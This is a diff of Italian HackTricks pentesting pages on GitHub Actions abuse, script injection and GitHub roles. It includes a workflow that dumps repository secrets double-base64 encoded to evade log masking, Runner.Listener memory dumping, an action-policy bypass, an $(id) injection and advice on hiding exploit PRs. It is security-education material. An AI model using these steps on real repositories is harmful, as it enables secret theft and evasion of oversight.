+I workflow possono usare **artifacts from other workflows and even repos**, se un attacker riesce a **compromise** il Github Action che **uploads an artifact** che viene poi utilizzato da un altro workflow, potrebbe **compromise the other workflows**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Post Exploitation da un'Azione
+## Post Exploitation from an Action
 
-### Accesso a AWS e GCP tramite OIDC
+### Github Action Policies Bypass
 
-Controlla le seguenti pagine:
+Come commentato in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), anche se un repository o organization ha una policy che restringe l'uso di certe actions, un attacker potrebbe semplicemente fare download (`git clone`) di un action all'interno del workflow e poi referenziarlo come local action. Poiché le policies non influenzano i percorsi locali, **the action will be executed without any restriction.**
+
+Esempio:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
+### Accesso ad AWS e GCP via OIDC
+
+Check the following pages:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -440,15 +468,15 @@ Controlla le seguenti pagine:
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Accesso ai segreti <a href="#accessing-secrets" id="accessing-secrets"></a>
+### Accesso ai secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai segreti:
+Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai secrets:
 
-- Se il segreto o il token è impostato su una **variabile d'ambiente**, può essere direttamente accessibile attraverso l'ambiente utilizzando **`printenv`**.
+- Se il secret o token è impostato come **variabile d'ambiente**, può essere recuperato direttamente dall'ambiente usando **`printenv`**.
 
 <details>
 
-<summary>Elenca i segreti nell'output dell'azione Github</summary>
+<summary>Elencare i secrets nell'output di Github Action</summary>
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Ottieni una reverse shell con segreti</summary>
+<summary>Ottieni reverse shell con secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- Se il segreto è utilizzato **direttamente in un'espressione**, lo script shell generato è memorizzato **su disco** ed è accessibile.
+- Se il secret è usato **direttamente in un'espressione**, lo script shell generato viene memorizzato **su disco** ed è accessibile.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Per le azioni JavaScript, i segreti vengono inviati tramite variabili d'ambiente.
+- Per una JavaScript action i secrets vengono inviati tramite environment variables
 - ```bash
 ps axe | grep node
 ```
-- Per un **azione personalizzata**, il rischio può variare a seconda di come un programma utilizza il segreto ottenuto dall'**argomento**:
+- Per una **custom action**, il rischio può variare a seconda di come un programma sta usando il secret che ha ottenuto dall'**argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,23 +542,47 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### Abusare dei runner self-hosted
+- Enumerare tutti i secrets tramite il secrets context (collaborator level). Un contributor con write access può modificare un workflow su qualsiasi branch per dumpare tutti i secrets del repository/org/environment. Usa double base64 per evadere il log masking di GitHub e decodifica localmente:
 
-Il modo per trovare quali **Github Actions vengono eseguite in infrastrutture non-Github** è cercare **`runs-on: self-hosted`** nella configurazione yaml dell'azione Github.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-I runner **self-hosted** potrebbero avere accesso a **informazioni extra sensibili**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? servizio di metadata?) o, anche se è isolato e distrutto, **più di un'azione potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe **rubare i segreti** dell'altra.
+Decodifica localmente:
 
-Nei runner self-hosted è anche possibile ottenere i **segreti dal processo \_Runner.Listener**\_\*\* che conterrà tutti i segreti dei flussi di lavoro in qualsiasi fase dumpando la sua memoria:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Suggerimento: per stealth durante i test, cripta prima di stampare (openssl è preinstallato sui GitHub-hosted runners).
+
+### Abuso dei Self-hosted runners
+
+Il modo per scoprire quali **GitHub Actions vengono eseguite su infrastrutture non-GitHub** è cercare **`runs-on: self-hosted`** nella configurazione yaml delle GitHub Actions.
+
+**Self-hosted** runners potrebbero avere accesso a **informazioni sensibili aggiuntive**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? metadata service?) oppure, anche se isolato e distrutto, **più di una action potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe **rubare i secrets** dell'altra.
+
+Nei self-hosted runners è anche possibile ottenere i **secrets from the \_Runner.Listener**\_\*\* process\*\* che conterrà tutti i secrets dei workflows in qualsiasi step dumpando la sua memoria:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Controlla [**questo post per ulteriori informazioni**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Registro delle Immagini Docker di Github
+### Registro immagini Docker di Github
 
-È possibile creare azioni Github che **costruiranno e memorizzeranno un'immagine Docker all'interno di Github**.\
-Un esempio può essere trovato nel seguente espandibile:
+È possibile creare Github Actions che eseguono il build e memorizzano un'immagine Docker all'interno di Github.\
+Un esempio è disponibile nel seguente elemento espandibile:
 
 <details>
 
@@ -565,14 +617,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Come puoi vedere nel codice precedente, il registro di Github è ospitato in **`ghcr.io`**.
+Come puoi vedere nel codice precedente, il registry di Github è ospitato in **`ghcr.io`**.
 
-Un utente con permessi di lettura sul repo sarà quindi in grado di scaricare l'immagine Docker utilizzando un token di accesso personale:
+Un utente con permessi di lettura sul repo potrà quindi scaricare la Docker Image utilizzando un personal access token:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Poi, l'utente potrebbe cercare **segreti trapelati nei livelli dell'immagine Docker:**
+Poi, l'utente potrebbe cercare **leaked secrets in the Docker image layers:**
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -580,15 +632,19 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
 
 ### Informazioni sensibili nei log di Github Actions
 
-Anche se **Github** cerca di **rilevare valori segreti** nei log delle azioni e **evitare di mostrarli**, **altri dati sensibili** che potrebbero essere stati generati durante l'esecuzione dell'azione non saranno nascosti. Ad esempio, un JWT firmato con un valore segreto non sarà nascosto a meno che non sia [specificamente configurato](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Anche se **Github** prova a **detect secret values** nei log delle actions e a **avoid showing** questi valori, **altri dati sensibili** che potrebbero essere stati generati durante l'esecuzione dell'action non verranno nascosti. Per esempio, un JWT firmato con un secret value non verrà nascosto a meno che non sia [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Coprire le tue tracce
 
-(Tecnica da [**qui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR sollevata è chiaramente visibile al pubblico su Github e all'account GitHub target. In GitHub per impostazione predefinita, **non possiamo eliminare un PR da internet**, ma c'è un colpo di scena. Per gli account GitHub che sono **sospesi** da Github, tutti i loro **PR vengono automaticamente eliminati** e rimossi da internet. Quindi, per nascondere la tua attività, devi o far **sospendere il tuo account GitHub o far segnare il tuo account**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (fondamentalmente rimuovere tutti i tuoi exploit PR)
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR aperta è chiaramente visibile al pubblico su Github e all'account GitHub bersaglio. Su GitHub, per default, **non possiamo cancellare una PR dall'internet**, ma c'è un trucco. Per gli account Github che vengono **suspended** da Github, tutte le loro **PRs vengono automaticamente deleted** e rimosse dall'internet. Quindi, per nascondere la tua attività devi o far sì che il tuo **GitHub account venga suspended o che il tuo account venga flagged**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (basicamente rimuovere tutte le tue exploit PR)
 
-Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto ciò che devi fare è condividere "qualcosa" in un Issue e si assicureranno che il tuo account venga sospeso in 12 ore :p e così hai reso il tuo exploit invisibile su github.
+Un'organizzazione su GitHub è molto proattiva nel reportare account a GitHub. Tutto quello che devi fare è condividere “some stuff” in un Issue e si assicureranno che il tuo account sia suspended entro 12 hours :p e così hai reso il tuo exploit invisible su github.
 
 > [!WARNING]
-> L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub da SIEM poiché dall'interfaccia di GitHub il PR verrebbe rimosso.
+> L'unico modo per un'organizzazione per capire di essere stata presa di mira è controllare i log di GitHub dal SIEM, dato che dalla GitHub UI la PR verrebbe rimossa.
+
+## Riferimenti
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md

@@ -1,3 +1,96 @@
-# Gh Actions - Iniezioni di Script nel Contesto
+# Gh Actions - Context Script Injections
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Comprendere il rischio
+
+GitHub Actions rende le espressioni ${{ ... }} prima che lo step venga eseguito. Il valore renderizzato viene incollato nel programma dello step (per gli step run, uno script shell). Se si interpolano input non attendibili direttamente dentro run:, l'attaccante controlla parte del programma shell e può eseguire comandi arbitrari.
+
+Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+
+Punti chiave:
+- La valutazione avviene prima dell'esecuzione. Lo script definito in run: viene generato con tutte le espressioni risolte, poi eseguito dalla shell.
+- Molti contexts contengono campi controllati dall'utente a seconda dell'evento che innesca il workflow (issues, PRs, commenti, discussions, forks, stars, ecc.). Vedi il riferimento sugli input non attendibili: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- Il quoting/escaping della shell all'interno di run: non è una difesa affidabile, perché l'iniezione avviene nella fase di rendering del template. Gli attaccanti possono uscire dalle virgolette o iniettare operatori tramite input appositamente costruiti.
+
+## Pattern vulnerabile → RCE sul runner
+
+Workflow vulnerabile (innescato quando qualcuno apre una nuova issue):
+```yaml
+name: New Issue Created
+on:
+issues:
+types: [opened]
+jobs:
+deploy:
+runs-on: ubuntu-latest
+permissions:
+issues: write
+steps:
+- name: New issue
+run: |
+echo "New issue ${{ github.event.issue.title }} created"
+- name: Add "new" label to issue
+uses: actions-ecosystem/action-add-labels@v1
+with:
+github_token: ${{ secrets.GITHUB_TOKEN }}
+labels: new
+```
+Se un attacker apre un issue intitolato $(id), lo step renderizzato diventa:
+```sh
+echo "New issue $(id) created"
+```
+La command substitution esegue id sul runner. Esempio di output:
+```
+New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
+```
+Perché il quoting non ti salva:
+- Le espressioni vengono valutate prima, poi lo script risultante viene eseguito. Se il valore non attendibile contiene $(...), `;`, `"`/`'`, o newlines, può alterare la struttura del programma nonostante il tuo quoting.
+
+## Safe pattern (shell variables via env)
+
+Mitigazione corretta: copia l'input non attendibile in una variabile d'ambiente, poi usa l'espansione nativa della shell ($VAR) nello run script. Non reinserire con ${{ ... }} dentro il comando.
+```yaml
+# safe
+jobs:
+deploy:
+runs-on: ubuntu-latest
+steps:
+- name: New issue
+env:
+TITLE: ${{ github.event.issue.title }}
+run: |
+echo "New issue $TITLE created"
+```
+Note:
+- Evita di usare ${{ env.TITLE }} inside run:. Questo reintroduce il rendering del template nel comando e comporta lo stesso rischio di injection.
+- Preferisci passare input non attendibili tramite la mappatura env: e riferirli con $VAR in run:.
+
+## Superfici che possono essere attivate da utenti con sola lettura (trattare come non attendibili)
+
+Account con solo permesso di read su repository pubblici possono comunque attivare molti eventi. Qualsiasi campo nei contesti derivati da questi eventi deve essere considerato controllato dall'attaccante a meno che non sia dimostrato il contrario. Esempi:
+- issues, issue_comment
+- discussion, discussion_comment (le org possono limitare le discussioni)
+- pull_request, pull_request_review, pull_request_review_comment
+- pull_request_target (dangerous if misused, runs in base repo context)
+- fork (anyone can fork public repos)
+- watch (starring a repo)
+- Indirectly via workflow_run/workflow_call chains
+
+Quali campi specifici sono controllati dall'attaccante dipende dall'evento. Consulta GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
+
+## Consigli pratici
+
+- Minimizza l'uso di expressions inside run:. Preferisci la mappatura env: + $VAR.
+- Se devi trasformare l'input, fallo nella shell usando strumenti sicuri (printf %q, jq -r, ecc.), sempre a partire da una variabile di shell.
+- Presta particolare attenzione quando interpoli nomi di branch, titoli di PR, username, labels, titoli di discussion e PR head refs in script, flag della riga di comando o percorsi di file.
+- Per reusable workflows e composite actions, applica lo stesso schema: mappa in env poi riferisciti a $VAR.
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
+- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
+- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/basic-github-information.md

@@ -1,156 +1,156 @@
-# Informazioni di Base su Github
+# Informazioni di base su Github
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Struttura di Base
+## Struttura di base
 
-La struttura di base dell'ambiente github di una grande **azienda** è possedere un **enterprise** che possiede **diverse organizzazioni** e ognuna di esse può contenere **diversi repository** e **diversi team**. Le aziende più piccole possono possedere solo **un'organizzazione e nessun enterprise**.
+La struttura di base dell'ambiente Github di una grande **azienda** è possedere una **enterprise** che a sua volta possiede **diverse organizzazioni** e ognuna di esse può contenere **diversi repository** e **diversi team**. Aziende più piccole possono semplicemente **possedere una sola organization e nessuna enterprise**.
 
-Dal punto di vista di un utente, un **utente** può essere un **membro** di **diversi enterprise e organizzazioni**. All'interno di esse, l'utente può avere **diversi ruoli di enterprise, organizzazione e repository**.
+Dal punto di vista di un utente, un **user** può essere **membro** di **diverse enterprise e organizzazioni**. All'interno di queste il user può avere **diversi ruoli a livello di enterprise, organizzazione e repository**.
 
-Inoltre, un utente può essere **parte di diversi team** con diversi ruoli di enterprise, organizzazione o repository.
+Inoltre, un user può far parte di **diversi team** con differenti ruoli a livello di enterprise, organizzazione o repository.
 
-E infine, **i repository possono avere meccanismi di protezione speciali**.
+Infine, **i repository possono avere meccanismi di protezione speciali**.
 
 ## Privilegi
 
-### Ruoli di Enterprise
+### Enterprise Roles
 
-- **Proprietario dell'Enterprise**: Le persone con questo ruolo possono **gestire gli amministratori, gestire le organizzazioni all'interno dell'enterprise, gestire le impostazioni dell'enterprise, applicare politiche tra le organizzazioni**. Tuttavia, **non possono accedere alle impostazioni o ai contenuti dell'organizzazione** a meno che non vengano nominati proprietari dell'organizzazione o non ricevano accesso diretto a un repository di proprietà dell'organizzazione.
-- **Membri dell'Enterprise**: I membri delle organizzazioni possedute dal tuo enterprise sono anche **automaticamente membri dell'enterprise**.
+- **Enterprise owner**: Le persone con questo ruolo possono **gestire gli amministratori, gestire le organization all'interno dell'enterprise, gestire le impostazioni dell'enterprise, applicare policy tra le organizzazioni**. Tuttavia, **non possono accedere alle impostazioni o ai contenuti di una organization** a meno che non vengano resi organization owner o non venga concesso loro accesso diretto a un repository di proprietà della organization.
+- **Enterprise members**: I membri delle organization possedute dalla tua enterprise sono anche **automaticamente membri dell'enterprise**.
 
-### Ruoli di Organizzazione
+### Organization Roles
 
-In un'organizzazione, gli utenti possono avere diversi ruoli:
+In una organization gli utenti possono avere ruoli diversi:
 
-- **Proprietari dell'Organizzazione**: I proprietari dell'organizzazione hanno **accesso amministrativo completo alla tua organizzazione**. Questo ruolo dovrebbe essere limitato, ma non a meno di due persone, nella tua organizzazione.
-- **Membri dell'Organizzazione**: Il ruolo **predefinito**, non amministrativo per **le persone in un'organizzazione** è il membro dell'organizzazione. Per impostazione predefinita, i membri dell'organizzazione **hanno un certo numero di permessi**.
-- **Manager di Fatturazione**: I manager di fatturazione sono utenti che possono **gestire le impostazioni di fatturazione per la tua organizzazione**, come le informazioni di pagamento.
-- **Manager della Sicurezza**: È un ruolo che i proprietari dell'organizzazione possono assegnare a qualsiasi team in un'organizzazione. Quando applicato, fornisce a ogni membro del team i permessi per **gestire avvisi e impostazioni di sicurezza nella tua organizzazione, così come permessi di lettura per tutti i repository** nell'organizzazione.
-- Se la tua organizzazione ha un team di sicurezza, puoi utilizzare il ruolo di manager della sicurezza per dare ai membri del team il minimo accesso di cui hanno bisogno all'organizzazione.
-- **Manager delle App Github**: Per consentire ad utenti aggiuntivi di **gestire le App GitHub di proprietà di un'organizzazione**, un proprietario può concedere loro i permessi di manager delle App GitHub.
-- **Collaboratori Esterni**: Un collaboratore esterno è una persona che ha **accesso a uno o più repository dell'organizzazione ma non è esplicitamente un membro** dell'organizzazione.
+- **Organization owners**: Gli organization owners hanno **accesso amministrativo completo alla tua organization**. Questo ruolo dovrebbe essere limitato, ma non a meno di due persone nell'organizzazione.
+- **Organization members**: Il ruolo **default**, non amministrativo per le **persone in un'organizzazione** è l'organization member. Di default, gli organization members **hanno una serie di permessi**.
+- **Billing managers**: I billing managers sono utenti che possono **gestire le impostazioni di fatturazione per la tua organization**, come le informazioni di pagamento.
+- **Security Managers**: È un ruolo che gli organization owners possono assegnare a qualsiasi team in un'organizzazione. Quando applicato, dà a ogni membro del team i permessi per **gestire gli security alerts e le impostazioni in tutta l'organizzazione, oltre ai permessi di lettura per tutti i repository** dell'organizzazione.
+- Se la tua organizzazione ha un security team, puoi usare il ruolo di security manager per dare ai membri del team il minimo accesso necessario all'organizzazione.
+- **Github App managers**: Per consentire ad ulteriori utenti di **gestire i GitHub Apps posseduti da un'organizzazione**, un owner può concedere loro i permessi di Github App manager.
+- **Outside collaborators**: Un outside collaborator è una persona che ha **accesso a uno o più repository dell'organizzazione ma non è esplicitamente un membro** dell'organizzazione.
 
 Puoi **confrontare i permessi** di questi ruoli in questa tabella: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
-### Privilegi dei Membri
+### Members Privileges
 
 In _https://github.com/organizations/\<org_name>/settings/member_privileges_ puoi vedere i **permessi che gli utenti avranno solo per essere parte dell'organizzazione**.
 
 Le impostazioni qui configurate indicheranno i seguenti permessi dei membri dell'organizzazione:
 
-- Essere admin, scrittore, lettore o nessun permesso su tutti i repository dell'organizzazione.
-- Se i membri possono creare repository privati, interni o pubblici.
-- Se è possibile forkare i repository.
-- Se è possibile invitare collaboratori esterni.
-- Se siti pubblici o privati possono essere pubblicati.
+- Essere admin, writer, reader o nessun permesso su tutti i repository dell'organizzazione.
+- Se i membri possono creare repository private, internal o public.
+- Se è possibile effettuare fork dei repository.
+- Se è possibile invitare outside collaborators.
+- Se siti public o private possono essere pubblicati.
 - I permessi che gli admin hanno sui repository.
 - Se i membri possono creare nuovi team.
 
-### Ruoli di Repository
+### Repository Roles
 
-Per impostazione predefinita, i ruoli di repository sono creati:
+Per default i repository hanno creati i seguenti ruoli:
 
-- **Lettura**: Raccomandato per **contributori non di codice** che vogliono visualizzare o discutere il tuo progetto.
-- **Triage**: Raccomandato per **contributori che devono gestire proattivamente problemi e pull request** senza accesso in scrittura.
-- **Scrittura**: Raccomandato per i contributori che **spingono attivamente al tuo progetto**.
-- **Manutenzione**: Raccomandato per **project manager che devono gestire il repository** senza accesso a azioni sensibili o distruttive.
-- **Admin**: Raccomandato per le persone che hanno bisogno di **accesso completo al progetto**, comprese azioni sensibili e distruttive come gestire la sicurezza o eliminare un repository.
+- **Read**: Raccomandato per **contributori non-code** che vogliono visualizzare o discutere il progetto.
+- **Triage**: Raccomandato per **contributori che devono gestire proattivamente issues e pull request** senza accesso in scrittura.
+- **Write**: Raccomandato per contributori che **inseriscono attivamente codice nel progetto**.
+- **Maintain**: Raccomandato per **project manager che devono gestire il repository** senza accesso ad azioni sensibili o distruttive.
+- **Admin**: Raccomandato per persone che necessitano di **accesso completo al progetto**, incluse azioni sensibili e distruttive come gestire la sicurezza o cancellare un repository.
 
-Puoi **confrontare i permessi** di ciascun ruolo in questa tabella [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Puoi **confrontare i permessi** di ogni ruolo in questa tabella [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-Puoi anche **creare i tuoi ruoli** in _https://github.com/organizations/\<org_name>/settings/roles_
+Puoi anche **creare ruoli personalizzati** in _https://github.com/organizations/\<org_name>/settings/roles_
 
-### Team
+### Teams
 
-Puoi **elencare i team creati in un'organizzazione** in _https://github.com/orgs/\<org_name>/teams_. Nota che per vedere i team che sono figli di altri team devi accedere a ciascun team genitore.
+Puoi **elencare i team creati in un'organizzazione** in _https://github.com/orgs/\<org_name>/teams_. Nota che per vedere i team che sono figli di altri team è necessario accedere a ogni team padre.
 
-### Utenti
+### Users
 
 Gli utenti di un'organizzazione possono essere **elencati** in _https://github.com/orgs/\<org_name>/people._
 
-Nelle informazioni di ciascun utente puoi vedere i **team di cui l'utente è membro** e i **repository a cui l'utente ha accesso**.
+Nelle informazioni di ogni user puoi vedere i **team di cui l'utente è membro**, e i **repo a cui l'utente ha accesso**.
 
-## Autenticazione Github
+## Github Authentication
 
-Github offre diversi modi per autenticarsi al tuo account e svolgere azioni per tuo conto.
+Github offre diversi modi per autenticarsi al tuo account ed eseguire azioni per tuo conto.
 
-### Accesso Web
+### Web Access
 
-Accedendo a **github.com** puoi effettuare il login utilizzando il tuo **nome utente e password** (e un **2FA potenzialmente**).
+Accedendo a **github.com** puoi fare login usando il tuo **username e password** (e una **2FA eventualmente**).
 
-### **Chiavi SSH**
+### **SSH Keys**
 
-Puoi configurare il tuo account con una o più chiavi pubbliche che consentono alla relativa **chiave privata di eseguire azioni per tuo conto.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Puoi configurare il tuo account con una o più chiavi pubbliche che permettono alla relativa **chiave privata di eseguire azioni per tuo conto.** [https://github.com/settings/keys](https://github.com/settings/keys)
 
-#### **Chiavi GPG**
+#### **GPG Keys**
 
-Non **puoi impersonare l'utente con queste chiavi**, ma se non le usi potrebbe essere possibile che tu **venga scoperto per aver inviato commit senza una firma**. Scopri di più su [modalità vigile qui](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Non puoi impersonare l'utente con queste chiavi, ma se non le usi potrebbe essere possibile che **venga scoperto l'invio di commit senza firma**. Per saperne di più su vigilant mode leggi [qui](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
-### **Token di Accesso Personali**
+### **Personal Access Tokens**
 
-Puoi generare un token di accesso personale per **dare a un'applicazione accesso al tuo account**. Quando crei un token di accesso personale, l'**utente** deve **specificare** i **permessi** che il **token** avrà. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Puoi generare personal access token per **dare a un'applicazione accesso al tuo account**. Quando crei un personal access token il **user** deve **specificare** i **permessi** che il **token** avrà. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
-### Applicazioni Oauth
+### Oauth Applications
 
-Le applicazioni Oauth possono chiederti permessi **per accedere a parte delle tue informazioni github o per impersonarti** per eseguire alcune azioni. Un esempio comune di questa funzionalità è il **pulsante di login con github** che potresti trovare in alcune piattaforme.
+Le Oauth applications possono chiederti permessi **per accedere a parte delle tue informazioni su github o per impersonarti** per eseguire alcune azioni. Un esempio comune di questa funzionalità è il pulsante **login with github** che potresti trovare in alcune piattaforme.
 
-- Puoi **creare** le tue **applicazioni Oauth** in [https://github.com/settings/developers](https://github.com/settings/developers)
-- Puoi vedere tutte le **applicazioni Oauth che hanno accesso al tuo account** in [https://github.com/settings/applications](https://github.com/settings/applications)
-- Puoi vedere i **scope che le App Oauth possono richiedere** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- Puoi vedere l'accesso di terze parti delle applicazioni in un'**organizzazione** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
+- Puoi **creare** le tue **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
+- Puoi vedere tutte le **Oauth applications che hanno accesso al tuo account** in [https://github.com/settings/applications](https://github.com/settings/applications)
+- Puoi vedere gli **scopes che le Oauth Apps possono richiedere** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Puoi vedere l'accesso di terze parti delle applicazioni in un'**organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
 
-Alcuni **consigli di sicurezza**:
+Alcune **raccomandazioni di sicurezza**:
 
-- Un **OAuth App** dovrebbe sempre **agire come l'utente GitHub autenticato in tutto GitHub** (ad esempio, quando fornisce notifiche agli utenti) e con accesso solo agli scope specificati.
-- Un OAuth App può essere utilizzato come fornitore di identità abilitando un "Login con GitHub" per l'utente autenticato.
-- **Non** costruire un **OAuth App** se desideri che la tua applicazione agisca su un **singolo repository**. Con lo scope `repo`, le OAuth Apps possono **agire su \_tutti**\_\*\* i repository dell'utente autenticato\*\*.
-- **Non** costruire un OAuth App per agire come un'applicazione per il tuo **team o azienda**. Le OAuth Apps si autenticano come un **singolo utente**, quindi se una persona crea un OAuth App per un'azienda da utilizzare, e poi lascia l'azienda, nessun altro avrà accesso ad essa.
-- **Di più** [qui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- Un **OAuth App** dovrebbe sempre **agire come l'utente GitHub autenticato su tutto GitHub** (per esempio, quando fornisce notifiche all'utente) e con accesso solo agli scopes specificati.
+- Un OAuth App può essere usato come identity provider abilitando un "Login with GitHub" per l'utente autenticato.
+- **Non** costruire un **OAuth App** se vuoi che la tua applicazione agisca su un **singolo repository**. Con lo scope `repo`, le OAuth Apps possono **agire su _tutti_** i repository autenticati dell'utente.
+- **Non** costruire un OAuth App per agire come applicazione per il tuo **team o azienda**. Le OAuth Apps autenticano come **singolo utente**, quindi se una persona crea un OAuth App per l'azienda e poi lascia l'azienda, nessun altro avrà accesso.
+- **Altro** in [qui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
-### Applicazioni Github
+### Github Applications
 
-Le applicazioni Github possono chiedere permessi per **accedere alle tue informazioni github o impersonarti** per eseguire azioni specifiche su risorse specifiche. Nelle App Github devi specificare i repository a cui l'app avrà accesso.
+Le Github applications possono chiedere permessi per **accedere alle tue informazioni su github o impersonarti** per eseguire azioni specifiche su risorse specifiche. Nelle Github Apps devi specificare i repository a cui l'app avrà accesso.
 
-- Per installare un'App GitHub, devi essere un **proprietario dell'organizzazione o avere permessi di admin** in un repository.
-- L'App GitHub dovrebbe **collegarsi a un account personale o a un'organizzazione**.
-- Puoi creare la tua applicazione Github in [https://github.com/settings/apps](https://github.com/settings/apps)
-- Puoi vedere tutte le **applicazioni Github che hanno accesso al tuo account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- Questi sono i **Endpoint API per le Applicazioni Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). A seconda dei permessi dell'App, sarà in grado di accedere ad alcuni di essi.
-- Puoi vedere le app installate in un'**organizzazione** in _https://github.com/organizations/\<org_name>/settings/installations_
+- Per installare una GitHub App, devi essere **organisation owner o avere permessi admin** in un repository.
+- La GitHub App dovrebbe **connettersi a un account personale o a un'organizzazione**.
+- Puoi creare la tua Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
+- Puoi vedere tutte le **Github applications che hanno accesso al tuo account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
